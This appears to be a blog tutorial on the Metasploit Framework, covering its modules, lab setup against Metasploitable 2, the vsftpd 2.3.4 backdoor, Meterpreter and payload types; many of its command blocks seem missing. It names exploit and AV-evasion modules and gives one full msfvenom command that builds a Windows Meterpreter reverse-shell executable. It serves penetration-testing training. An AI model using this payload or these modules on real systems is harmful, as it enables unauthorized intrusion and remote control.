Metasploit Framework is the world's most widely used penetration testing platform. Developed by H.D. Moore in 2003 and now maintained by Rapid7, it provides a unified interface for exploitation, payload delivery, post-exploitation, and reporting. It ships pre-installed on Kali Linux and is used in virtually every professional red team engagement.
This guide walks you through the full Metasploit workflow: launching msfconsole, searching for exploits, configuring options, delivering payloads, interacting with Meterpreter, and running post-exploitation modules — all demonstrated against the intentionally vulnerable Metasploitable 2 practice lab.
◈ Table of Contents
01 — WHAT IS METASPLOIT FRAMEWORK
BEGINNERMetasploit is a modular framework built around a database of exploits, payloads, encoders, and auxiliary modules. You interact with it through msfconsole — a command-line interface that lets you select, configure, and fire any module against a target. Every component is self-contained and chainable.
| Component | Description | Example |
|---|---|---|
| Exploit | Code that takes advantage of a vulnerability | ms17_010_eternalblue |
| Payload | Code that runs on the target after exploitation | windows/x64/meterpreter/reverse_tcp |
| Auxiliary | Support modules: scanners, fuzzers, brute force | scanner/smb/smb_version |
| Post | Post-exploitation: privilege escalation, data gathering | post/multi/recon/local_exploit_suggester |
| Encoder | Obfuscate payloads to evade AV/IDS | x86/shikata_ga_nai |
| Nop | NOP sleds for padding in exploit development | x86/single_byte |
02 — INSTALLATION & LAB SETUP
BEGINNERMetasploit is pre-installed on Kali Linux. For other distributions, use the official installer. For practice, always use an intentionally vulnerable target — Metasploitable 2 is the standard beginner choice.
- 1Download Metasploitable 2 from SourceForge (search "metasploitable 2 download")
- 2Import the
.vmdkinto VirtualBox or VMware — create a new VM, use existing disk - 3Set the network adapter to Host-Only (so it's isolated from the internet)
- 4Boot Metasploitable 2: login
msfadmin / msfadmin, runifconfigto get its IP - 5From Kali, verify connectivity:
ping <metasploitable-ip>
NEVER connect Metasploitable 2 to the internet or a shared network. It is intentionally full of critical vulnerabilities. Use Host-Only or NAT-Only networking in your hypervisor. Only practice exploitation against this machine or other authorized lab targets.
03 — MSFCONSOLE NAVIGATION
BEGINNERmsfconsole is a full-featured command interpreter. Learning the core navigation commands lets you move through the framework efficiently. Tab completion works on all commands and module names.
04 — SEARCHING & SELECTING EXPLOITS
BEGINNERFinding the right module is a three-step process: search for candidates, review with info, then use to load it. The search command supports filtering by name, platform, CVE, author, and rank.
- excellent — reliable, no side effects, works consistently
- great — usually reliable, minor side effects possible
- good — generally reliable, may need target adjustment
- normal — default reliability
- average — works sometimes, may be unreliable
- low / manual — requires significant setup or has known issues
05 — CONFIGURING & RUNNING EXPLOITS
INTERMEDIATEThe vsftpd 2.3.4 backdoor is a classic Metasploitable 2 vulnerability — a backdoor was secretly inserted into the vsftpd FTP server source. When a user logs in with a smiley face ":)" in the username, a root shell opens on port 6200. Perfect for learning the exploit workflow.
06 — METERPRETER SHELL COMMANDS
INTERMEDIATEMeterpreter is Metasploit's advanced payload — an in-memory shell that communicates over an encrypted channel, provides structured commands for file system access, process management, screenshot capture, and pivoting. It runs entirely in memory and leaves minimal disk artifacts.
07 — POST-EXPLOITATION MODULES
INTERMEDIATEAfter gaining initial access, post-exploitation modules extend your capability — escalating privileges, gathering credentials, establishing persistence, and pivoting to other network segments.
08 — PAYLOAD TYPES EXPLAINED
INTERMEDIATEChoosing the right payload type is critical for reliable exploitation. The three-part naming convention tells you platform/arch/type: e.g., windows/x64/meterpreter/reverse_tcp.
| Type | Format | Description | Use When |
|---|---|---|---|
| Singles | platform/payload | Self-contained — everything in one payload | Limited space, simple shells |
| Stagers | platform/stager/payload | Small stager fetches the larger stage from attacker | Bypassing size limits |
| Staged | platform/arch/stage/payload | Stager + stage + final payload (e.g., meterpreter) | Full-featured shells |
Use msfvenom to generate standalone payload files (EXE, APK, ELF, shellcode) for situations where you can't use Metasploit directly: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o payload.exe
Metasploit is a professional security tool that must only be used against systems you own or have explicit written authorization to test. Unauthorized exploitation is a serious criminal offense under computer crime laws worldwide. Always conduct testing in isolated lab environments.
◈ Stay Connected
Follow CyberHawk Threat Intel for penetration testing tutorials, threat intelligence, and professional security content.
"They can't exploit you if you are the Exploit."